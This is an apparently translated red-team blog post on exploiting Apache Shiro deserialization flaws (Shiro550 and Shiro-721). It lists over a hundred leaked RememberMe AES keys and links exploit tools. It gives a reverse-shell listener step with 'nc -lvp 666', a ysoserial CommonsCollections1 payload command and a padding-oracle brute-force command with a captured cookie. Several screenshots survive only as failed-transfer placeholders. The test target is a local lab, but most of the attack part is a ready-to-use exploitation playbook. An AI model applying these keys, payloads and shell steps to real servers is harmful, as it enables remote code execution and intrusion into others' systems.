Red Team Arsenal—Apache Shiro Deserialization Vulnerability
Apache Shiro RememberMe deserialization (Shiro550) affects applications when the RememberMe AES key is compromised, while Shiro-721 exploits a padding oracle vulnerability affecting specific Shiro versions.
Read in Chinese→Apache Shiro RememberMe Deserialization (Shiro550)
Apache Shiro is a powerful and easy-to-use Java security framework that provides authentication, authorization, cryptography, and session management.
Affected Components
Apache Shiro <= 1.2.4
Actual Scope of Impact
If the AES key used by Shiro’s RememberMe feature is leaked, a deserialization vulnerability will result, regardless of the Shiro version.
Keys Currently Collected Online
kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
```## Vulnerability Reproduction
Recommended tool: https://github.com/feihong-cs/ShiroExploit\_GUI/
Environment setup: Docker is recommended.
For a simple test, capture and replay a request. If `rememberMe=deleteMe` is displayed, the vulnerability may be exploitable.

### Shiro550 Does Not Require a RememberMe Cookie
Because this vulnerability produces no output, we first need to confirm whether it exists.
DNS resolution logs are used here to make this determination, at http://www.dnslog.cn/上获取子域
\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-qMyl0JGb-1591176591939\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200526134702.png\)\]
Start `nc -lvp 666` on the VPS.
Obtain a reverse shell.
\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-E2Ywd8hN-1591176591940\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200526135057.png\)\]
Success.

# Apache Shiro Padding Oracle Attack \(Shiro-721\)
Apache Shiro is a Java security framework commonly used in enterprise environments. Because `Shiro` uses `AES-CBC` mode for encryption and decryption, it is vulnerable to `Padding Oracle Attack`, allowing an authenticated attacker to perform deserialization operations as well.
## Affected Components
Apache Shiro \< 1.4.2
Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
## Vulnerability Reproduction
Shiro environment WAR package: https://github.com/jas502n/SHIRO-721
Environment setup: Tomcat 7 + Shiro 1.4.1
\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-s52cCJP5-1591176591942\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200527140205.png\)\]
This vulnerability can only be exploited after logging in and obtaining a valid `Cookie: rememberMe=XXX`.
It may not appear easy to exploit, but some websites allow open registration.
Moreover, this vulnerability does not require knowing the server-side key because exploitation involves brute-forcing the cookie.
Visit the Shiro login page and log in.

After logging in, access an application function and capture the request.
\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-2EvvYPE2-1591176591943\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200526145750.png\)\]

Enter the RememberMe cookie as required.
The graphical tool failed for an unknown reason, so use the original method.```
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'touch /tmp/zeo' > payload.class
Exploit download: https://github.com/Geekby/shiro\_rce\_exp
Run the exploit to perform the brute-force attack.
python shiro_exp.py http://127.0.0.1:8080/samples-web-1.4.1/ X8E4mP300AMIGgimdqHhecoyzK64eNcoovKC5xa+G67RC4OA6mrky14UY5bYLHJhjc5lndRe5iU/cRt4NyDa0QguUKKNC3eBIYqSIVrx5uFLrBs9dzFhG46oMhcIXh80IwXcR8PYSUrm1V2dCydUBdOHLEahzysAi4ED/zxv8HQyvQYaSCdkJdKP5Kh8yagxYNvl6GBCO0FyLxn/dzeVuCfyPh6fIJi9uEIdJ5e72UTKAph+ot5DpcolN2l0DibOE7NCm74YpBrw43RlTNJrtBLh2ngsphanUPpC42K3TZgrXieiMnotTi3VODQmgIa+fF0+ZVxKBOl7VwMlZzJgkmxY2e5Ql28Q2VVt+Wk+jEad/zok70ZjDUUCiopEJlYIlkG22C1zbEbia8IUMtRTsJZnF612x4YvlfX9RFo6bnWXpS/bKFwbaJPiFr6bSTfSy1LInH9u1vscfSMEB8YZ+w6aq73kH3szftfbm/MskuWgqfU28ZLPAbml4IhH3n7c payload.class
After brute-forcing,
the cookie generated by the padding oracle attack is obtained.

Copy the cookie and replay the request to execute the command successfully.
